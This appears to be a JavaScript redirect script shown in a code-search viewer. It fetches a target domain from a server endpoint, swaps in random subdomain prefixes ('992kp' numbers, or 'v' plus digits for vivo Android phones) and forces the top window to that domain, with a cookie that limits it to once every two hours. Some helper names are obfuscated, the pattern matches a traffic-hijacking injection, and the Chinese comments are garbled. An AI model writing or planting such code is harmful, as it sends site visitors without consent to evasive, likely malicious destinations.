1function is_sub_dm(dm) { 2 const dmRegex = /^(?:https?:\/\/)?(?:[^@\n]+@)?(?:www\.)?([^:\/\n?]+)(?::\d+)?$/; 3 const match = dm.match(dmRegex); 4 if (match && match[1]) { 5 const parts = match[1].split('.'); 6 return parts.length > 2; //if part >2, regarded as 2 7 } 8 return false; //if abnormal, regarded as top 9} 10 11function process_sub_dm(sub_dm) { 12 var prefix_arr = [ 13 "992kp1", "992kp2", "992kp3", "992kp4", "992kp5", "992kp6", "992kp7", "992kp8", "992kp9", "992kp10", "992kp11", "992kp12", "992kp13", "992kp14", "992kp15", "992kp16", "992kp17", "992kp18", "992kp19", "992kp20", "992kp21", "992kp22", 14 //注æå°æ°ç¹ 15 ]; 16 17 // android vivo? 18 var ua = navigator.userAgent.toLowerCase(); 19 var isAndroidVivo = ua.indexOf('android') > -1 && ua.indexOf('vivo') > -1; 20 21 var prefix_x; 22 if (isAndroidVivo) { 23 // vivoï¼v+4ä½éæºæ°å 24 prefix_x = 'v'; 25 for (var i = 0; i < 4; i++) { 26 var randomDigit; 27 do { 28 randomDigit = Math.floor(Math.random() * 10); // çæ0-9çéæºæ° 29 } while (randomDigit === 4); // 妿æ¯4åéæ°çæ 30 prefix_x += randomDigit; 31 } 32 } else { 33 // å ¶ä»æµè§å¨ï¼ä»prefix_arrä¸éæºéæ© 34 prefix_x = prefix_arr[Math.floor(Math.random() * prefix_arr.length)]; 35 } 36 37 const dmPart = sub_dm.replace(/^[^.]+\.?/, ''); 38 const match = dmPart.match(/^(.*?)(:\d+)?$/); 39 const result = match ? match[1] + (match[2] || '') : ''; 40 const finalResult = prefix_x + "." + result; 41 return finalResult; 42} 43 44function get_tp_dm(dm) { 45 var dm_regex = /^(?:https?:\/\/)?(?:[^@\n]+@)?(?:www\.)?([^:\/\n]+)/; 46 var match = dm.match(dm_regex); 47 48 if (match && match[1]) { 49 var full_dm = match[1]; 50 var parts = full_dm.split('.'); 51 52 if (parts.length >= 2) { 53 var top_dm = parts[parts.length - 2] + '.' + parts[parts.length - 1]; 54 finalResult = top_dm; 55 } else { 56 finalResult = full_dm; 57 } 58 } else { 59 finalResult = dm; 60 } 61 return finalResult; 62} 63 64Jzr1.get('/getIp2.php', function (ymlj) { 65 var mubiao_ym = hhyy(ymlj, encodeURIComponent(ymlj)); 66 if (is_sub_dm(mubiao_ym)) { 67 mubiao_ym = process_sub_dm(mubiao_ym); //"666." 68 } 69 mb_tp = get_tp_dm(mubiao_ym); 70 current_tp = get_tp_dm(YUOWsT6); 71 if (document.cookie.indexOf("laiguo=true") == -1 && current_tp.indexOf(mb_tp) < 0) { 72 top.location.href = "https://" + encodeURI(mubiao_ym) + "/index.html"; 73 } 74 var t = new Date(new Date().getTime() + 3600000 * 2); 75 document.cookie = "laiguo=true; expires=" + t.toGMTString() + "; domain=." + current_tp + "; path=/"; 76 77}) 78 79
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.